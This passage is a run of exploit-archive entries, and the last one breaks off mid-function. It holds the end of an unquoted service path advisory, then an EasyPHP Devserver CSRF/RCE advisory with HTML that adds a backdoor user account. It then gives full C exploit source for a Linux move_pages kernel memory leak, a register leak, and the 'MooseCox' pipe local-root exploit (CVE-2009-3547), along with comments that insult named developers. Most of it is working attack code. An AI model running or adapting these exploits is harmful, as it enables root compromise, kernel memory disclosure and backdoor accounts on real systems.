        DISPLAY_NAME       : Photon. OUC
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

( Airtel Dongles)
C:\Documents and Settings\Dhruv>sc qc "airtel. Runouc"
[SC] GetServiceConfig SUCCESS

SERVICE_NAME: airtel. Runouc
        TYPE               : 110  WIN32_OWN_PROCESS (interactive)
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files\airtel\UpdateDog\ouc.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : airtel. OUC
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

3. Exploit:

A successful attempt would require the local attacker must insert an
executable file
in the path of the service.
Upon service restart or system reboot, the malicious code will be run
with elevated privileges.


Additional notes :

Fixed in version UTPS-V200R003B015D16SPC00C983

CVSSv3 Risk Rating
Base Score: 6.4 (AV:L/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H )
Temporal Score:  5.9 (E:F/RL:O/RC:C)

Vulnerability Disclosure Timeline:
=========================
06/09/2016   -   Contact With Vendor
06/09/2016   -   Vendor Response
15/11/2016   -   Release Fixed Version
            
[+] Credits: John Page aka hyp3rlinx

[+] Website: hyp3rlinx.altervista.org

[+] Source:
http://hyp3rlinx.altervista.org/advisories/EASYPHP-DEV-SERVER-REMOTE-CMD-EXECUTION.txt

[+] ISR: ApparitionSec



Vendor:
===============
www.easyphp.org



Product:
=============================
EasyPHP Devserver v16.1.1

easyphp-devserver-16.1.1-setup.exe
hash: 64184d330a34be9e6c029ffa63c903de


A complete WAMP environment for PHP development & personal web hosting.
Host with Webserver PHP, Apache, MySQL, Nginx, PhpMyAdmin,
Xdebug, PostgreSQL, MongoDB, Python, Ruby...for Windows.


Vulnerability Type:
=================================
CSRF / Remote Command Execution



CVE Reference:
==============
N/A



Vulnerability Details:
=====================

EasyPHP Devserver dashboard runs on port 1111, the PHP code contains
mulitple RCE vectors, which can allow
arbitrary OS commands to be executed on the target system by remote
attackers, if a user visits malicious webpage or link.

The "index.php" and "explorer.php" files both contain vulnerable code that
will happily process both GET / POST RCE requests.
Below EasyPHP Code contains no CSRF token or checks whatsoever. All
attacker needs is to supply 'type' and command values.

Possibility for RFI (remote file inclusion) if the "allow_url_include=0"
setting is changed in "php.ini" configuration.
No checks or CSRF tokens for PHP include directives either, the default
however is set to Off.

e.g. RFI attempt result
Warning: include(): http:// wrapper is disabled in the server configuration
by allow_url_include=0


line 8 of "explorer.php"
======================

//== ACTIONS
==================================================================

if (isset($_POST['action'])) {

// Include and exec
if (isset($_POST['action']['request'])) {
foreach ($_POST['action']['request'] as $request) {
if ($request['type'] == 'include') include(urldecode($request['value']));
if ($request['type'] == 'exe') exec(urldecode($request['value']));
}
}
$redirect = "http://" . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
header("Location: " . $redirect);
exit;
}


//////////////////////////////////////////////////

line 48 "index.php"
==================


//== ACTIONS
==================================================================

if (isset($_POST['action'])) {

// Include and exec
if (isset($_POST['action']['request'])) {
foreach ($_POST['action']['request'] as $request) {
if ($request['type'] == 'include') include(urldecode($request['value']));
if ($request['type'] == 'exe') exec(urldecode($request['value']));
}
}
sleep(1);
$redirect = "http://" . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
header("Location: " . $redirect);
exit;
}

if (isset($_GET['action'])) {
// Include and exec
if ($_GET['action'] == 'include') include(urldecode($_GET['value']));
if ($_GET['action'] == 'exe') exec(urldecode($_GET['value']));
if (isset($_GET['redirect'])) {
$redirect = urldecode($_GET['redirect']);
} else {
$redirect = 'http://127.0.0.1:1111/index.php';
}
sleep(1);
header("Location: " . $redirect);
exit;
}




Exploit code(s):
===============

1) Add Backdoor User Account

<form action="http://127.0.0.1:1111/explorer.php" method="post">
<input type="hidden" name="action[request][0][type]" value="exe">
<input type="hidden" name="action[request][0][value]" value="net user EVIL
Password /add">
<script>document.forms[0].submit()</script>
</form>



2) Run "calc.exe"

<a href="http://127.0.0.1:1111/index.php?action=exe&value=calc.exe
">Clicky...</a>




Disclosure Timeline:
======================================
Vendor Notification: No replies
November 22, 2016 : Public Disclosure




Exploitation Technique:
=======================
Remote



Severity Level:
================
Medium




[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no
warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the
information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author
prohibits any malicious use of security related information
or exploits by the author or elsewhere.

hyp3rlinx
            
/* sieve (because the Linux kernel leaks like one, get it?)
   Bug NOT discovered by Marcus Meissner of SuSE security
   This bug was discovered by Ramon de Carvalho Valle in September of 2009
   The bug was found via fuzzing, and on Sept 24th I was sent a POC DoS
   for the bug (but had forgotten about it until now)
   Ramon's report was sent to Novell's internal bugzilla, upon which 
   some months later Marcus took credit for discovering someone else's bug
   Maybe he thought he could get away with it ;)  Almost ;)

   greets to pipacs, tavis (reciprocal greets!), cloudburst, and rcvalle!

   first exploit of 2010, next one will be for a bugclass that has
   afaik never been exploited on Linux before

   note that this bug can also cause a DoS like so:

Unable to handle kernel paging request at ffffffff833c3be8 RIP: 
 [<ffffffff800dc8ac>] new_page_node+0x31/0x48
PGD 203067 PUD 205063 PMD 0 
Oops: 0000 [1] SMP 
Pid: 19994, comm: exploit Not tainted 2.6.18-164.el5 #1
RIP: 0010:[<ffffffff800dc8ac>]  [<ffffffff800dc8ac>] 
new_page_node+0x31/0x48
RSP: 0018:ffff8100a3c6de50  EFLAGS: 00010246
RAX: 00000000005fae0d RBX: ffff8100028977a0 RCX: 0000000000000013
RDX: ffff8100a3c6dec0 RSI: 0000000000000000 RDI: 00000000000200d2
RBP: 0000000000000000 R08: 0000000000000004 R09: 000000000000003c
R10: 0000000000000000 R11: 0000000000000092 R12: ffffc20000077018
R13: ffffc20000077000 R14: ffff8100a3c6df00 R15: ffff8100a3c6df28
FS:  00002b8481125810(0000) GS:ffffffff803c0000(0000) 
knlGS:0000000000000000
CS:  0010 DS: 0000 ES: 0000 CR0: 000000008005003b
CR2: ffffffff833c3be8 CR3: 000000009562d000 CR4: 00000000000006e0
Process exploit (pid: 19994, threadinfo ffff8100a3c6c000, task 
ffff81009d8c4080)
Stack:  ffffffff800dd008 ffffc20000077000 ffffffff800dc87b 
0000000000000000
 0000000000000000 0000000000000003 ffff810092c23800 0000000000000003
 00000000000000ff ffff810092c23800 00007eff6d3dc7ff 0000000000000000
Call Trace:
 [<ffffffff800dd008>] migrate_pages+0x8d/0x42b
 [<ffffffff800dc87b>] new_page_node+0x0/0x48
 [<ffffffff8009cee2>] schedule_on_each_cpu+0xda/0xe8
 [<ffffffff800dd8a2>] sys_move_pages+0x339/0x43d
 [<ffffffff8005d28d>] tracesys+0xd5/0xe0


Code: 48 8b 14 c5 80 cb 3e 80 48 81 c2 10 3c 00 00 e9 82 29 f3 ff 
RIP  [<ffffffff800dc8ac>] new_page_node+0x31/0x48
 RSP <ffff8100a3c6de50>
CR2: ffffffff833c3be8
*/

#include <stdio.h>
#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/syscall.h>
#include <errno.h>
#include "exp_framework.h"

#undef MPOL_MF_MOVE
#define MPOL_MF_MOVE (1 << 1)

int max_numnodes;

unsigned long node_online_map;

unsigned long node_states;

unsigned long our_base;
unsigned long totalhigh_pages;

#undef __NR_move_pages
#ifdef __x86_64__
#define __NR_move_pages 279
#else
#define __NR_move_pages 317
#endif

/* random notes I took when writing this (all applying to the 64bit case):

checking in a bitmap based on node_states[2] or node_states[3] 
(former if HIGHMEM is not present, latter if it is)

each node_state is of type nodemask_t, which is is a bitmap of size 
MAX_NUMNODES/8

RHEL 5.4 has MAX_NUMNODES set to 64, which makes this 8 bytes in size

so the effective base we're working with is either node_states + 16 or 
node_states + 24

on 2.6.18 it's based off node_online_map

node_isset does a test_bit based on this base

so our specfic case does: base[ourval / 8] & (1 << (ourval & 7))

all the calculations appear to be signed, so we can both index in the 
negative and positive direction, based on ourval

on 64bit, this gives us a 256MB range above and below our base to grab 
memory of 
(by passing in a single page and a single node for each bit we want to 
leak the value of, we can reconstruct entire bytes)

we can determine MAX_NUMNODES by looking up two adjacent numa bitmaps,
subtracting their difference, and multiplying by 8
but we don't need to do this
*/

struct exploit_state *exp_state;

char *desc = "Sieve: Linux 2.6.18+ move_pages() infoleak";

int get_exploit_state_ptr(struct exploit_state *ptr)
{
	exp_state = ptr;
	return 0;
}

int requires_null_page = 0;

void addr_to_nodes(unsigned long addr, int *nodes)
{
	int i;
	int min = 0x80000000 / 8;
	int max = 0x7fffffff / 8; 

	if ((addr < (our_base - min)) ||
	    (addr > (our_base + max))) {
		fprintf(stdout, "Error: Unable to dump address %p\n", addr);
		exit(1);
	}

	for (i = 0; i < 8; i++) {
		nodes[i] = ((int)(addr - our_base) << 3) | i;
	}

	return;
}

char *buf;
unsigned char get_byte_at_addr(unsigned long addr)
{
	int nodes[8];
	int node;
	int status;
	int i;
	int ret;
	unsigned char tmp = 0;

	addr_to_nodes(addr, (int *)&nodes);
	for (i = 0; i < 8; i++) {
		node = nodes[i];
		ret = syscall(__NR_move_pages, 0, 1, &buf, &node, &status, MPOL_MF_MOVE);
		if (errno == ENOSYS) {
			fprintf(stdout, "Error: move_pages is not supported on this kernel.\n");
			exit(1);
		} else if (errno != ENODEV)
			tmp |= (1 << i);
	}
	
	return tmp;
}	

void menu(void)
{
	fprintf(stdout, "Enter your choice:\n"
			" [0] Dump via symbol/address with length\n"
			" [1] Dump entire range to file\n"
			" [2] Quit\n");
}

int trigger(void)
{
	unsigned long addr;
	unsigned long addr2;
	unsigned char thebyte;
	unsigned char choice = 0;
	char ibuf[1024];
	char *p;
	FILE *f;

	// get lingering \n
	getchar();
	while (choice != '2') {
		menu();
		fgets((char *)&ibuf, sizeof(ibuf)-1, stdin);
		choice = ibuf[0];
		
		switch (choice) {
		case '0':
			fprintf(stdout, "Enter the symbol or address for the base:\n");
			fgets((char *)&ibuf, sizeof(ibuf)-1, stdin);
			p = strrchr((char *)&ibuf, '\n');
			if (p)
				*p = '\0';
			addr = exp_state->get_kernel_sym(ibuf);
			if (addr == 0) {
				addr = strtoul(ibuf, NULL, 16);
			}
			if (addr == 0) {
				fprintf(stdout, "Invalid symbol or address.\n");
				break;
			}
			addr2 = 0;
			while (addr2 == 0) {
				fprintf(stdout, "Enter the length of bytes to read in hex:\n");
				fscanf(stdin, "%x", &addr2);
				// get lingering \n
				getchar();
			}
			addr2 += addr;
			
			fprintf(stdout, "Leaked bytes:\n");
			while (addr < addr2) {	
				thebyte = get_byte_at_addr(addr);
				printf("%02x ", thebyte);
				addr++;
			}
			printf("\n");
			break;
		case '1':
			addr = our_base -  0x10000000;
#ifdef __x86_64__
			/* 
			   our lower bound will cause us to access
			   bad addresses and cause an oops
			*/
			if (addr < 0xffffffff80000000)
				addr = 0xffffffff80000000;
#else
			if (addr < 0x80000000)
				addr = 0x80000000;
			else if (addr < 0xc0000000)
				addr = 0xc0000000;
#endif
			addr2 = our_base + 0x10000000;
			f = fopen("./kernel.bin", "w");
			if (f == NULL) {
				fprintf(stdout, "Error: unable to open ./kernel.bin for writing\n");
				exit(1);
			}

			fprintf(stdout, "Dumping to kernel.bin (this will take a while): ");
			fflush(stdout);
			while (addr < addr2) {
				thebyte = get_byte_at_addr(addr);
				fputc(thebyte, f);
				if (!(addr % (128 * 1024))) {
					fprintf(stdout, ".");
					fflush(stdout);
				}
				addr++;
			}
			fprintf(stdout, "done.\n");
			fclose(f);
			break;
		case '2':
			break;
		}
	}

	return 0;
}


int prepare(unsigned char *ptr)
{
	int node;
	int found_gap = 0;
	int i;
	int ret;
	int status;

	totalhigh_pages = exp_state->get_kernel_sym("totalhigh_pages");
	node_states = exp_state->get_kernel_sym("node_states");
	node_online_map = exp_state->get_kernel_sym("node_online_map");

	buf = malloc(4096);

	/* cheap hack, won't work on actual NUMA systems -- for those we could use the alternative noted
	   towards the beginning of the file, here we're just working until we leak the first bit of the adjacent table,
	   which will be set for our single node -- this gives us the size of the bitmap
	*/
	for (i = 0; i < 512; i++) {
		node = i;
		ret = syscall(__NR_move_pages, 0, 1, &buf, &node, &status, MPOL_MF_MOVE);
		if (errno == ENOSYS) {
			fprintf(stdout, "Error: move_pages is not supported on this kernel.\n");
			exit(1);
		} else if (errno == ENODEV) {
			found_gap = 1;
		} else if (found_gap == 1) {
			max_numnodes = i;
			fprintf(stdout, " [+] Detected MAX_NUMNODES as %d\n", max_numnodes);
			break;
		}
	}

	if (node_online_map != 0)
		our_base = node_online_map;
	/* our base for this depends on the existence of HIGHMEM and the value of MAX_NUMNODES, since it determines the size
	   of each bitmap in the array our base is in the middle of
	   we've taken account for all this
	*/
	else if (node_states != 0)
		our_base = node_states + (totalhigh_pages ? (3 * (max_numnodes / 8)) : (2 * (max_numnodes / 8)));
	else {
		fprintf(stdout, "Error: kernel doesn't appear vulnerable.\n");
		exit(1);
	}

	return 0;
}

int post(void)
{
	return 0;
}
            
/* written by Ingo Molnar -- it's true because this comment says the exploit
   was written by him!
*/

#include <stdio.h>
#include <sys/syscall.h>

unsigned int _r81;
unsigned int _r82;
unsigned int _r91;
unsigned int _r92;
unsigned int _r101;
unsigned int _r102;
unsigned int _r111;
unsigned int _r112;
unsigned int _r121;
unsigned int _r122;
unsigned int _r131;
unsigned int _r132;
unsigned int _r141;
unsigned int _r142;
unsigned int _r151;
unsigned int _r152;

int leak_it(void)
{
	asm volatile (
	".intel_syntax noprefix\n"
	".code32\n"
	"jmp label1\n"
	"farcalllabel1:\n"
	".code64\n"
	"mov eax, r8d\n"
	"shr r8, 32\n"
	"mov ebx, r8d\n"
	"mov ecx, r9d\n"
	"shr r9, 32\n"
	"mov edx, r9d\n"
	"mov esi, r10d\n"
	"shr r10, 32\n"
	"mov edi, r10d\n"
	".att_syntax noprefix\n"
	"lret\n"
	".intel_syntax noprefix\n"
	"farcalllabel2:\n"
	"mov eax, r11d\n"
	"shr r11, 32\n"
	"mov ebx, r11d\n"
	"mov ecx, r12d\n"
	"shr r12, 32\n"
	"mov edx, r12d\n"
	"mov esi, r13d\n"
	"shr r13, 32\n"
	"mov edi, r13d\n"
	".att_syntax noprefix\n"
	"lret\n"
	".intel_syntax noprefix\n"
	"farcalllabel3:\n"
	"mov eax, r14d\n"
	"shr r14, 32\n"
	"mov ebx, r14d\n"
	"mov ecx, r15d\n"
	"shr r15, 32\n"
	"mov edx, r15d\n"
	".att_syntax noprefix\n"
	"lret\n"
	".intel_syntax noprefix\n"
	".code32\n"
	"label1:\n"
	".att_syntax noprefix\n"
	"lcall $0x33, $farcalllabel1\n"
	".intel_syntax noprefix\n"
	"mov _r81, eax\n"
	"mov _r82, ebx\n"
	"mov _r91, ecx\n"
	"mov _r92, edx\n"
	"mov _r101, esi\n"
	"mov _r102, edi\n"
	".att_syntax noprefix\n"
	"lcall $0x33, $farcalllabel2\n"
	".intel_syntax noprefix\n"
	"mov _r111, eax\n"
	"mov _r112, ebx\n"
	"mov _r121, ecx\n"
	"mov _r122, edx\n"
	"mov _r131, esi\n"
	"mov _r132, edi\n"
	".att_syntax noprefix\n"
	"lcall $0x33, $farcalllabel3\n"
	".intel_syntax noprefix\n"
	"mov _r141, eax\n"
	"mov _r142, ebx\n"
	"mov _r151, ecx\n"
	"mov _r152, edx\n"
	".att_syntax noprefix\n"
	);

	printf(" R8=%08x%08x\n", _r82, _r81);
	printf(" R9=%08x%08x\n", _r92, _r91);
	printf("R10=%08x%08x\n", _r102, _r101);
	printf("R11=%08x%08x\n", _r112, _r111);
	printf("R12=%08x%08x\n", _r122, _r121);
	printf("R13=%08x%08x\n", _r132, _r131);
	printf("R14=%08x%08x\n", _r142, _r141);
	printf("R15=%08x%08x\n", _r152, _r151);
	return 0;
}

/* ripped from jon oberheide */
const int randcalls[] = {
	__NR_read, __NR_write, __NR_open, __NR_close, __NR_stat, __NR_lstat,
	__NR_lseek, __NR_rt_sigaction, __NR_rt_sigprocmask, __NR_ioctl,
	__NR_access, __NR_pipe, __NR_sched_yield, __NR_mremap, __NR_dup,
	__NR_dup2, __NR_getitimer, __NR_setitimer, __NR_getpid, __NR_fcntl,
	__NR_flock, __NR_getdents, __NR_getcwd, __NR_gettimeofday,
	__NR_getrlimit, __NR_getuid, __NR_getgid, __NR_geteuid, __NR_getegid,
	__NR_getppid, __NR_getpgrp, __NR_getgroups, __NR_getresuid,
	__NR_getresgid, __NR_getpgid, __NR_getsid,__NR_getpriority,
	__NR_sched_getparam, __NR_sched_get_priority_max
};

int main(void)
{
	/* to keep random stack values from being used for pointers in syscalls */
	char buf[64] = {};
	int call;
	for (call = 0; call < sizeof(randcalls)/sizeof(randcalls[0]); call++) {
		syscall(randcalls[call]);
		leak_it();
	}

}
            
/* exp_moosecox.c
   Watch a video of the exploit here:
   http://www.youtube.com/watch?v=jt81NvaOj5Y

   developed entirely by Ingo Molnar (exploit writer extraordinaire!) , 
   thanks to Fotis Loukos for pointing the bug out to me -- neat bug! :)

   dedicated to the Red Hat employees who get paid to copy+paste my 
   twitter and issue security advisories, their sweet 
   acknowledgement policy, and general classiness
   see: https://bugzilla.redhat.com/show_activity.cgi?id=530490

   "policy" aside, there's a word for what you guys are doing: "plagiarism"
   in fact, i tested this one day by posting three links to twitter,
   without any discussion on any of them.  the same day, those three
   (and only those three) links were assigned CVEs, even though two of 
   them weren't even security bugs (it doesn't pay to copy+paste)

   official Ingo Molnar (that's me) policy for acknowledgement in 
   exploits requires general douche-ness or plagiarization
   official policy further dictates immediate exploit release for
   embargoed, patched bug

   I'll be curious to see what the CVE statistics are like for the 
   kernel this year when they get compiled next year -- I'm predicting 
   that when someone's watching the sleepy watchers, a more personal 
   interest is taken in doing the job that you're paid to do correctly.

   --------------------------------------------------------------------

   Special PS note to Theo (I can do this here because I know he'll 
   never read it -- the guy is apparently oblivious to the entire world of 
   security around him -- the same world that invents the protections 
   years before him that he pats himself on the back for "innovating")
   Seriously though, it's incredible to me that an entire team 
   of developers whose sole purpose is to develop a secure operating 
   system can be so oblivious to the rest of the world.  They haven't 
   innovated since they replaced exploitable string copies with 
   exploitable string truncations 6 or so years ago.

   The entire joke of a thread can be read here:
   http://www.pubbs.net/openbsd/200911/4582/
   "Our focus therefore is always on finding innovative ideas which make 
    bugs very hard to exploit succesfully."
   "He's too busy watching monkey porn instead of
    building researching last-year's security technology that will stop 
    an exploit technique that has been exploited multiple times."
   "it seems that everyone else is slowly coming around to the
    same solution."

   So let's talk about this "innovation" of theirs with their 
   implementation of mmap_min_addr:

   They implemented it in 2008, a year after Linux implemented it, a 
   year after the public phrack article on the bug class, more than a 
   year after my mail to dailydave with the first public Linux kernel 
   exploit for the bug class, and over two years after UDEREF was 
   implemented in PaX (providing complete protection against the smaller 
   subset of null ptr dereference bugs and the larger class of invalid 
   userland access in general).

   OpenBSD had a public null pointer dereference exploit (agp_ioctl()) 
   published for its OS in January of 2007.  It took them over a year 
   and a half to implement the same feature that was implemented in 
   Linux a few months after my public exploit in 2007.

   So how can it be that "everyone else is slowly coming around to the 
   same solution"  when "everyone else" came to that solution over a 
   year before you Theo?  In fact, I prediced this exact situation would 
   happen back in 2007 in my DD post:
   http://lists.virus.org/dailydave-0703/msg00011.html
   "Expect OpenBSD to independently invent a protection against null ptr 
    deref bugs sometime in 2009."

   Let's talk about some more "innovation" -- position independent 
   executables.  PaX implemented position independent executables on 
   Linux back in 2001 (ET_DYN).  PIE binary support was added to GNU 
   binutils in 2003.  Those OpenBSD innovators implemented PIE binaries 
   in 2008, 7 years after PaX.  Innovation indeed!

   How about their W^X/ASLR innovation?  These plagiarists have the 
   audacity to announce on their press page:
   http://www.openbsd.org/press.html
   "Microsoft borrows one of OpenBSD's security features for Vista, 
    stack/library randomization, under the name Address Space Layout 
    Randomization (ASLR).  "Until now, the feature has been most 
    prominently used in the OpenBSD Unix variant and the PaX and Exec 
    Shield security patches for Linux""
   Borrowing one of your features?  Where'd this ASLR acronym come from 
   anyway?  Oh that's right, PaX again -- when they published the first 
   design and implementation of it, and coined the term, in July 2001.
   It covered the heap, mmap, and stack areas.
   OpenBSD implemented "stack-gap randomization" in 2003.  Way to 
   innovate!

   W^X, which is a horrible name as OpenBSD doesn't even enforce it with 
   mprotect restrictions like PaX did from the beginning or even SELinux 
   is doing now (from a 3rd party contribution modeled after PaX): 
   PaX implemented true per-page non-executable page support, protecting 
   binary data, the heap, and the stack, back in 2000.
   OpenBSD implemented it in 2003, requiring a full userland rebuild.
   The innovation is overwhelming!

   They keep coming up with the same exact "innovations" others came up 
   with years before them.  Their official explanation for where they 
   got the W^X/ASLR ideas was a drunk guy came into their tent at one of 
   their hack-a-thons and started talking about the idea.  They had 
   never heard of PaX when we asked them in 2003.  Which makes the 
   following involuntarily contributed private ICB logs from Phrack #66
   (Internet Citizen's Band -- OpenBSD internal chat network) so intriguing:

   On some sunny day in July 2002 (t: Theo de Raadt):
   <cloder> why can't you just randomize the base
   <cloder> that's what PaX does
   <t> You've not been paying attention to what art's saying, or you don't 
    understand yet, either case is one of think it through yourself.
   <cloder> whatever

   Only to see poetic justice in August 2003 (ttt: Theo again):

   <miod> more exactly, we heard of pax when they started bitching
   <ttt> miod, that was very well spoken.

   That wraps up our OpenBSD history lesson, in case anyone forgot it.
   PS -- enjoy that null ptr deref exploit just released for OpenBSD.

   --------------------------------------------------------------------

   Important final exploit notes:

   don't forget to inspect /boot/config* to see if PREEMPT, LOCKBREAK,
   or DEBUG_SPINLOCK are enabled and modify the structures below 
   accordingly -- a fancier exploit would do this automatically

   I've broken the 2.4->2.6.10 version of the exploit and would like to see 
   someone fix it ;)  See below for more comments on this.
*/

#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sched.h>
#include <signal.h>
#include <sys/syscall.h>
#include <sys/utsname.h>
#include "exp_framework.h"

int pipefd[2];
struct exploit_state *exp_state;
int is_old_kernel = 0;

int go_go_speed_racer(void *unused)
{
    int ret;

        while(!exp_state->got_ring0) {
        /* bust spinlock */
        *(unsigned int *)NULL = is_old_kernel ? 0 : 1;
                ret = pipe(pipefd);
        if (!ret) {
                    close(pipefd[0]);
                    close(pipefd[1]);
        }
        }

    return 0;
}

/* <3 twiz/sgrakkyu */
int start_thread(int (*f)(void *), void *arg)
{
        char *stack = malloc(0x4000);
        int tid = clone(f, stack + 0x4000 - sizeof(unsigned long), CLONE_FS|CLONE_FILES|CLONE_SIGHAND|CLONE_VM, arg);
        if (tid < 0) {
                printf("can't create thread\n");
                exit(1);
        }
    sleep(1);
        return tid;
}

char *desc = "MooseCox: Linux <= 2.6.31.5 pipe local root";
char *cve = "CVE-2009-3547";

#define PIPE_BUFFERS 16

/* this changes on older kernels, but it doesn't matter to our method */
struct pipe_buf_operations {
    int can_merge;
    void *map;
    void *unmap;
    void *confirm;
    void *release;
    void *steal;
    void *get;
};

struct pipe_buffer2620ornewer {
    void *page;
    unsigned int offset, len;
    void *ops;
    unsigned int flags;
    unsigned long private;
};

struct pipe_buffer2619orolder {
    void *page;
    unsigned int offset, len;
    void *ops;
    unsigned int flags;
};

struct pipe_buffer2616orolder {
    void *page;
    unsigned int offset, len;
    void *ops;
};

struct pipe_inode_info2620ornewer {
    unsigned int spinlock;
    /*
    // LOCKBREAK
    unsigned int break_lock;
    // DEBUG_SPINLOCK
    unsigned int magic, owner_cpu;
    void *owner;
    */
    void *next, *prev;
    unsigned int nrbufs, curbuf;
    void *tmp_page;
    unsigned int readers;
    unsigned int writers;
    unsigned int waiting_writers;
    unsigned int r_counter;
    unsigned int w_counter;
    void *fasync_readers;
    void *fasync_writers;
    void *inode;
    struct pipe_buffer2620ornewer bufs[PIPE_BUFFERS];
};

struct pipe_inode_info2619orolder {
    unsigned int spinlock;
    /*
    // if PREEMPT enabled
    unsigned int break_lock;
    // DEBUG_SPINLOCK
    unsigned int magic, owner_cpu;
    void *owner;
    */
    void *next, *prev;
    unsigned int nrbufs, curbuf;
    struct pipe_buffer2619orolder bufs[PIPE_BUFFERS];
    void *tmp_page;
    unsigned int start;
    unsigned int readers;
    unsigned int writers;
    unsigned int waiting_writers;
    unsigned int r_counter;
    unsigned int w_counter;
    void *fasync_readers;
    void *fasync_writers;
    void *inode;
};

struct pipe_inode_info2616orolder {
    unsigned int spinlock;
    /*
    // if PREEMPT enabled
    unsigned int break_lock;
    // DEBUG_SPINLOCK
    unsigned int magic, owner_cpu;
    */
    void *owner;
    void *next, *prev;
    unsigned int nrbufs, curbuf;
    struct pipe_buffer2616orolder bufs[PIPE_BUFFERS];
    void *tmp_page;
    unsigned int start;
    unsigned int readers;
    unsigned int writers;
    unsigned int waiting_writers;
    unsigned int r_counter;
    unsigned int w_counter;
    void *fasync_readers;
    void *fasync_writers;
};

struct fasync_struct {
    int magic;
    int fa_fd;
    struct fasync_struct *fa_next;
    void *file;
};

struct pipe_inode_info2610orolder {
    /* this includes 2.4 kernels */
    unsigned long lock; // can be rw or spin
    void *next, *prev;
    char *base;
    unsigned int len;
    unsigned int start;
    unsigned int readers;
    unsigned int writers;
    /* 2.4 only */
    unsigned int waiting_readers;

    unsigned int waiting_writers;
    unsigned int r_counter;
    unsigned int w_counter;
    /* 2.6 only */
    struct fasync_struct *fasync_readers;
    struct fasync_struct *fasync_writers;
};

int prepare(unsigned char *buf)
{    
    struct pipe_inode_info2610orolder *info_oldest = (struct pipe_inode_info2610orolder *)buf;
    struct pipe_inode_info2616orolder *info_older = (struct pipe_inode_info2616orolder *)buf;
    struct pipe_inode_info2619orolder *info_old = (struct pipe_inode_info2619orolder *)buf;
    struct pipe_inode_info2620ornewer *info_new = (struct pipe_inode_info2620ornewer *)buf;
    struct pipe_buf_operations *ops = (struct pipe_buf_operations *)0x800;
    int i;
    int newver;
    struct utsname unm;

    i = uname(&unm);
    if (i != 0) {
        printf("unable to get kernel version\n");
        exit(1);
    }

    if (strlen(unm.release) >= 6 && unm.release[2] == '6' && unm.release[4] >= '2' && unm.release[5] >= '0' && unm.release[5] <= '9') {
        fprintf(stdout, " [+] Using newer pipe_inode_info layout\n");
        newver = 3;
    } else if (strlen(unm.release) >= 6 && unm.release[2] == '6' && unm.release[4] >= '1' && unm.release[5] >= '7' && unm.release[5] <= '9') {
        fprintf(stdout, " [+] Using older pipe_inode_info layout\n");
        newver = 2;
    } else if (strlen(unm.release) >= 5 && unm.release[2] == '6') {
        fprintf(stdout, " [+] Using older-er pipe_inode_info layout\n");
        newver = 1;
//    } else if (strlen(unm.release) >= 5 && unm.release[2] >= '4') {
//        is_old_kernel = 1;
//        newver = 0;
    } else {
        fprintf(stdout, " [+] This kernel is still vulnerable, but I can't be bothered to write the exploit.  Write it yourself.\n");
        exit(1);
    }

    /* for most of these what will happen is our write will
       cause ops->confirm(/pin) to be called, which we've replaced
       with own_the_kernel
       for the 2.6.10->2.6.16 case it has no confirm/pin op, so what gets
       called instead (repeatedly) is the release op
    */
    if (newver == 3) {
        /* uncomment for DEBUG_SPINLOCK */
        //info_new->magic = 0xdead4ead;
        /* makes list_head empty for wake_up_common */
        info_new->next = &info_new->next;
        info_new->readers = 1;
        info_new->writers = 1;
        info_new->nrbufs = 1;
        info_new->curbuf = 1;
        for (i = 0; i < PIPE_BUFFERS; i++)
            info_new->bufs[i].ops = (void *)ops;
    } else if (newver == 2) {
        /* uncomment for DEBUG_SPINLOCK */
        //info_old->magic = 0xdead4ead;
        /* makes list_head empty for wake_up_common */
        info_old->next = &info_old->next;
        info_old->readers = 1;
        info_old->writers = 1;
        info_old->nrbufs = 1;
        info_old->curbuf = 1;
        for (i = 0; i < PIPE_BUFFERS; i++)
            info_old->bufs[i].ops = (void *)ops;
    } else if (newver == 1) {
        /* uncomment for DEBUG_SPINLOCK */
        //info_older->magic = 0xdead4ead;
        /* makes list_head empty for wake_up_common */
        info_older->next = &info_older->next;
        info_older->readers = 1;
        info_older->writers = 1;
        info_older->nrbufs = 1;
        info_older->curbuf = 1;
        /* we'll get called multiple times from free_pipe_info
           but it's ok because own_the_kernel handles this case
        */
        for (i = 0; i < PIPE_BUFFERS; i++)
            info_older->bufs[i].ops = (void *)ops;
    } else {
        /*
        different ballgame here, instead of being able to 
        provide a function pointer in the ops table, you 
        control a base address used to compute the address for 
        a copy into the kernel via copy_from_user.  The 
        following should get you started.
        */
        /* lookup symbol for writable fptr then trigger it later
           change the main write in the one thread to write out 
           pointers with the value of exp_state->exploit_kernel
        */
        info_oldest->base = (char *)0xc8000000;
        info_oldest->readers = 1;
        info_oldest->writers = 1;
        return 0;
    }

    ops->can_merge = 1;
    for (i = 0; i < 16; i++)
        ((void **)&ops->map)[i] = exp_state->own_the_kernel;

    return 0;
}

int requires_null_page = 1;

int get_exploit_state_ptr(struct exploit_state *ptr)
{
    exp_state = ptr;
    return 0;
}

int trigger(void)
{
        char buf[128];
        int fd;
    int i = 0;

    /* ignore sigpipe so we don't bail out early */
    signal(SIGPIPE, SIG_IGN);

    start_thread(go_go_speed_racer, NULL);

    fprintf(stdout, " [+] We'll let this go for a while if needed...\n");
    fflush(stdout);

        while (!exp_state->got_ring0 && i < 10000000) {
        fd = pipefd[1];
        sprintf(buf, "/proc/self/fd/%d", fd);
        fd = open(buf, O_WRONLY | O_NONBLOCK);
        if (fd >= 0) {
            /* bust spinlock */
            *(unsigned int *)NULL = is_old_kernel ? 0 : 1;
            write(fd, ".", 1);
            close(fd);
        }
        i++;
        }

